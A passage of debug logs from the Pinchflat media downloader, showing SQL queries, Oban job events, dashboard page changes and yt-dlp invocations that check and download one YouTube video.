t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 21:43:02.036 [debug] QUERY OK source="tasks" db=0.3ms idle=223.5ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 21:43:02.036 [debug] QUERY OK source="media_items" db=0.1ms idle=3.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" = ?) [45] 21:43:02.036 [debug] QUERY OK source="media_items" db=0.1ms idle=1.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" = ?) [45] 21:43:02.041 [info] {"args":{"id":46},"id":49,"meta":{},"system_time":1774662182041779676,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 21:43:02.042 [debug] QUERY OK source="media_items" db=0.5ms idle=5.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [46] 21:43:02.042 [info] User scripts lifecyle file either not present or is empty. Skipping. 21:43:02.042 [debug] QUERY OK source="tasks" db=0.8ms idle=5.7ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 21:43:02.043 [debug] QUERY OK source="tasks" db=1.2ms idle=5.5ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 21:43:02.043 [debug] QUERY OK source="sources" db=0.7ms idle=6.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 21:43:02.043 [debug] QUERY OK source="media_items" db=0.7ms idle=1.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" IN (?,?)) [45, 46] 21:43:02.043 [debug] QUERY OK source="media_items" db=0.2ms idle=1.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" IN (?,?)) [45, 46] 21:43:02.044 [debug] QUERY OK source="media_profiles" db=0.6ms idle=0.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 21:43:02.044 [debug] QUERY OK source="media_items" db=0.1ms idle=1.3ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [46] 21:43:02.045 [debug] QUERY OK source="media_metadata" db=0.0ms idle=1.7ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [46] 21:43:02.045 [debug] QUERY OK source="media_profiles" db=0.0ms idle=1.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 21:43:02.045 [debug] QUERY OK source="settings" db=0.0ms idle=1.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:02.045 [debug] QUERY OK source="settings" db=0.0ms idle=1.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:02.046 [debug] Running yt-dlp command for action: get_downloadable_status 21:43:02.046 [debug] QUERY OK source="settings" db=0.1ms idle=1.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:02.046 [debug] QUERY OK source="settings" db=0.0ms idle=1.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:02.047 [debug] QUERY OK source="settings" db=0.1ms idle=1.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:02.047 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=JR1M5ArILl8 --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/ec/97/ec97fb2b15300e2db0ce75aa0ae0850b97e9829e0ddd934ac65fc9bd730c50a8.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 21:43:04.525 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=JR1M5ArILl8 --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/ec/97/ec97fb2b15300e2db0ce75aa0ae0850b97e9829e0ddd934ac65fc9bd730c50a8.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 21:43:04.526 [debug] Running yt-dlp command for action: download 21:43:04.526 [debug] QUERY OK source="settings" db=0.0ms idle=1466.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:04.526 [debug] QUERY OK source="settings" db=0.0ms idle=1466.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:04.526 [debug] QUERY OK source="settings" db=0.0ms idle=1466.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:04.526 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=JR1M5ArILl8 --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --embed-subs --sub-langs en --embed-thumbnail --convert-thumbnail jpg --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --output /downloads/Last Meals/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/82/b9/82b97cc7ec479878aa149c7a19597f11fd00c53eff72541b9924f7d65b693b53.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 21:43:19.926 [debug] HANDLE EVENT "page_change" in Pinchflat.Pages.HistoryTableLive Parameters: %{"direction" => "inc"} 21:43:19.927 [debug] QUERY OK source="media_items" db=0.3ms queue=0.1ms idle=1867.3ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 21:43:19.928 [debug] QUERY OK source="media_items" db=0.8ms idle=1868.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 5] 21:43:19.929 [debug] QUERY OK source="sources" db=0.2ms idle=1082.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 21:43:19.929 [debug] Replied in 2ms 21:43:21.014 [debug] HANDLE EVENT "page_change" in Pinchflat.Pages.HistoryTableLive Parameters: %{"direction" => "dec"} 21:43:21.015 [debug] QUERY OK source="media_items" db=0.3ms queue=0.1ms idle=1166.6ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 21:43:21.016 [debug] QUERY OK source="media_items" db=0.7ms idle=1088.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 21:43:21.017 [debug] QUERY OK source="sources" db=0.3ms idle=1088.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 21:43:21.017 [debug] Replied in 2ms 21:43:22.461 [debug] HANDLE EVENT "reload_page" in Pinchflat.Pages.HistoryTableLive Parameters: %{"value" => ""} 21:43:22.462 [debug] QUERY OK source="media_items" db=0.4ms idle=1402.2ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 21:43:22.463 [debug] QUERY OK source="media_items" db=0.7ms idle=611.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 21:43:22.464 [debug] QUERY OK source="sources" db=0.2ms idle=404.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 21:43:22.464 [debug] Replied in 3ms 21:43:25.127 [debug] HANDLE EVENT "reload_page" in Pinchflat.Pages.HistoryTableLive Parameters: %{"value" => ""} 21:43:25.128 [debug] QUERY OK source="media_items" db=0.8ms idle=1068.0ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 21:43:25.129 [debug] QUERY OK source="media_items" db=1.0ms idle=1069.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 21:43:25.130 [debug] QUERY OK source="sources" db=0.3ms idle=1070.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 21:43:25.131 [debug] Replied in 3ms 21:43:28.752 [info] {"source":"oban","duration":1800,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:43:30.911 [debug] HANDLE EVENT "page_change" in Pinchflat.Pages.HistoryTableLive Parameters: %{"direction" => "inc"} 21:43:30.912 [debug] QUERY OK source="media_items" db=0.4ms idle=1852.5ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 21:43:30.913 [debug] QUERY OK source="media_items" db=0.8ms idle=1046.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 5] 21:43:30.914 [debug] QUERY OK source="sources" db=0.2ms idle=854.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 21:43:30.914 [debug] Replied in 2ms 21:43:33.623 [debug] HANDLE EVENT "page_change" in Pinchflat.Pages.HistoryTableLive Parameters: %{"direction" => "inc"} 21:43:33.624 [debug] QUERY OK source="media_items" db=0.7ms queue=0.1ms idle=1563.9ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" 